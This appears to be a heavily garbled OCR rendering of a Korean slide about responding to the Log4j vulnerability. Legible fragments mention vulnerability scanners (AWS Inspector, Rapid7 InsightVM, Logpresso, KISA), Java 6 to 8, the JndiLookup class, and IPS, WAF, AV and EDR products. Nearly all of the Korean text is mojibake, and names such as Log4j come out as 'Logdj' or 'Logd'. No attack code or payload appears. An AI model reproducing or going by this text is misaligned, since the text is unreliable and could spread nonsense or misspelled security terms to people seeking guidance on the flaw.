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« AJRIEE E5t FoFM S0 — Windows, Linux AHH

AL re:
1% ook

« Fokd M7 £8 E5H Al — AWS Inspector, Rapid7 InsightVM, Logpresso & KISA

AfO|EOIM 2tLhish= #IE F2 A 0|8

+ NAZ HICS S5t 20] S0l — Hiot AJAS) H|=9IS Fu|, TH7IX| SW S

HSoA 8

- §THOIS U THR| - EOF AIARY, LIE SIS FH, TH7IX] SW

+ Logdj RHI0IE — JAVA 6, 7, 8 B{ZI0f ufz QHx15t BZO2 rolE
Az - Logd A — HHOIE} 022 ZS INDlLookup 224 K7

FEESY
+ IPS, WAF, AV, EDR S HQMA|ARI0] MLogd] $OFE HOIZ 9I3t THE 2ujo|=
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